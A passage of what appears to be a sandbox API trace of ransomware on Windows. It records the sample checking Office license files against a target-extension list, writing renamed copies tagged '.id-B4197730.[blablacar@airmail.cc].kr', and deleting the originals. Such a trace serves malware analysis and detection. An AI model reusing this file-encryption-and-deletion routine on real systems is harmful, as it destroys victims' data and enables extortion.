(lpString=".zip") returned 4 [0201.565] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString=".rar") returned 4 [0201.565] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString=".bz2") returned 4 [0201.565] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString=".7z") returned 3 [0201.565] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.565] lstrlenW (lpString=".dbf") returned 4 [0201.565] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.565] lstrlenW (lpString=".1cd") returned 4 [0201.565] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0201.565] lstrlenW (lpString=".jpg") returned 4 [0201.565] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.565] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.565] lstrlenW (lpString="MondoVL_MAK-ul-oob.xrm-ms") returned 25 [0201.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.566] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11576) returned 1 [0201.566] CloseHandle (hObject=0x538) returned 1 [0201.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 0x220 [0201.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.567] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.567] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.568] GetLastError () returned 0x0 [0201.568] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d38, lpOverlapped=0x0) returned 1 [0201.571] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d40, lpOverlapped=0x0) returned 1 [0201.572] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.572] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x106, lpOverlapped=0x0) returned 1 [0201.572] SetEndOfFile (hFile=0x550) returned 1 [0201.573] CloseHandle (hObject=0x550) returned 1 [0201.573] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.573] SetEndOfFile (hFile=0x538) returned 1 [0201.576] CloseHandle (hObject=0x538) returned 1 [0201.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-oob.xrm-ms")) returned 1 [0201.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.578] lstrlenW (lpString=".doc") returned 4 [0201.578] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.578] lstrlenW (lpString=".docx") returned 5 [0201.578] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.578] lstrlenW (lpString=".pdf") returned 4 [0201.578] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.578] lstrlenW (lpString=".xls") returned 4 [0201.578] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.578] lstrlenW (lpString=".xlsx") returned 5 [0201.578] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.578] lstrlenW (lpString=".ppt") returned 4 [0201.578] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.578] lstrlenW (lpString=".zip") returned 4 [0201.579] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".rar") returned 4 [0201.579] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".bz2") returned 4 [0201.579] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".7z") returned 3 [0201.579] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.579] lstrlenW (lpString=".dbf") returned 4 [0201.579] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.579] lstrlenW (lpString=".1cd") returned 4 [0201.579] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.579] lstrlenW (lpString=".jpg") returned 4 [0201.579] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.579] lstrlenW (lpString=".doc") returned 4 [0201.579] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".docx") returned 5 [0201.579] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.579] lstrlenW (lpString=".pdf") returned 4 [0201.579] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".xls") returned 4 [0201.579] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.579] lstrlenW (lpString=".xlsx") returned 5 [0201.580] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.580] lstrlenW (lpString=".ppt") returned 4 [0201.580] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.580] lstrlenW (lpString=".zip") returned 4 [0201.580] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString=".rar") returned 4 [0201.580] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString=".bz2") returned 4 [0201.580] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString=".7z") returned 3 [0201.580] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.580] lstrlenW (lpString=".dbf") returned 4 [0201.580] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.580] lstrlenW (lpString=".1cd") returned 4 [0201.580] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-oob.xrm-ms") returned 75 [0201.580] lstrlenW (lpString=".jpg") returned 4 [0201.580] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.580] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.580] lstrlenW (lpString="MondoVL_MAK-ul-phn.xrm-ms") returned 25 [0201.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.581] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19921) returned 1 [0201.581] CloseHandle (hObject=0x538) returned 1 [0201.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 0x220 [0201.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.582] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.582] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0201.584] GetLastError () returned 0x0 [0201.584] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0201.587] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0201.588] ReadFile (in: hFile=0x538, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.588] WriteFile (in: hFile=0x550, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x106, lpOverlapped=0x0) returned 1 [0201.589] SetEndOfFile (hFile=0x550) returned 1 [0201.589] CloseHandle (hObject=0x550) returned 1 [0201.589] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.589] SetEndOfFile (hFile=0x538) returned 1 [0201.593] CloseHandle (hObject=0x538) returned 1 [0201.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_mak-ul-phn.xrm-ms")) returned 1 [0201.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.595] lstrlenW (lpString=".doc") returned 4 [0201.595] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".docx") returned 5 [0201.595] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.595] lstrlenW (lpString=".pdf") returned 4 [0201.595] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".xls") returned 4 [0201.595] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".xlsx") returned 5 [0201.595] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.595] lstrlenW (lpString=".ppt") returned 4 [0201.595] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.595] lstrlenW (lpString=".zip") returned 4 [0201.595] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".rar") returned 4 [0201.595] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".bz2") returned 4 [0201.595] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.595] lstrlenW (lpString=".7z") returned 3 [0201.595] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString=".dbf") returned 4 [0201.596] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString=".1cd") returned 4 [0201.596] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString=".jpg") returned 4 [0201.596] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString=".doc") returned 4 [0201.596] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString=".docx") returned 5 [0201.596] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.596] lstrlenW (lpString=".pdf") returned 4 [0201.596] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString=".xls") returned 4 [0201.596] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString=".xlsx") returned 5 [0201.596] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.596] lstrlenW (lpString=".ppt") returned 4 [0201.596] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.596] lstrlenW (lpString=".zip") returned 4 [0201.596] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.596] lstrlenW (lpString=".rar") returned 4 [0201.596] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.597] lstrlenW (lpString=".bz2") returned 4 [0201.597] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.597] lstrlenW (lpString=".7z") returned 3 [0201.597] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.597] lstrlenW (lpString=".dbf") returned 4 [0201.597] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.597] lstrlenW (lpString=".1cd") returned 4 [0201.597] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_MAK-ul-phn.xrm-ms") returned 75 [0201.597] lstrlenW (lpString=".jpg") returned 4 [0201.597] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.597] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0201.597] lstrlenW (lpString="O365BusinessR_Grace-ppd.xrm-ms") returned 30 [0201.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0201.657] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22400) returned 1 [0201.657] CloseHandle (hObject=0x538) returned 1 [0201.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220 [0201.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0201.868] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.868] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.869] GetLastError () returned 0x0 [0201.869] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x5780, lpOverlapped=0x0) returned 1 [0201.871] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x5790, lpOverlapped=0x0) returned 1 [0201.872] ReadFile (in: hFile=0x548, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0201.872] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x110, lpOverlapped=0x0) returned 1 [0201.873] SetEndOfFile (hFile=0x534) returned 1 [0201.873] CloseHandle (hObject=0x534) returned 1 [0201.873] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0201.873] SetEndOfFile (hFile=0x548) returned 1 [0201.876] CloseHandle (hObject=0x548) returned 1 [0201.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.877] lstrlenW (lpString=".doc") returned 4 [0201.877] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString=".docx") returned 5 [0201.877] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.877] lstrlenW (lpString=".pdf") returned 4 [0201.877] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString=".xls") returned 4 [0201.877] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString=".xlsx") returned 5 [0201.877] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0201.877] lstrlenW (lpString=".ppt") returned 4 [0201.877] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.877] lstrlenW (lpString=".zip") returned 4 [0201.877] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString=".rar") returned 4 [0201.877] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0201.877] lstrlenW (lpString=".bz2") returned 4 [0201.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString=".7z") returned 3 [0201.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString=".dbf") returned 4 [0201.878] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString=".1cd") returned 4 [0201.878] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString=".jpg") returned 4 [0201.878] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80 [0201.878] lstrlenW (lpString=".doc") returned 4 [0201.878] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString=".docx") returned 5 [0201.878] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0201.878] lstrlenW (lpString=".pdf") returned 4 [0201.878] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString=".xls") returned 4 [0201.878] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0201.878] lstrlenW (lpString=".xlsx") returned 5 [0201.878] lstrcmpiW 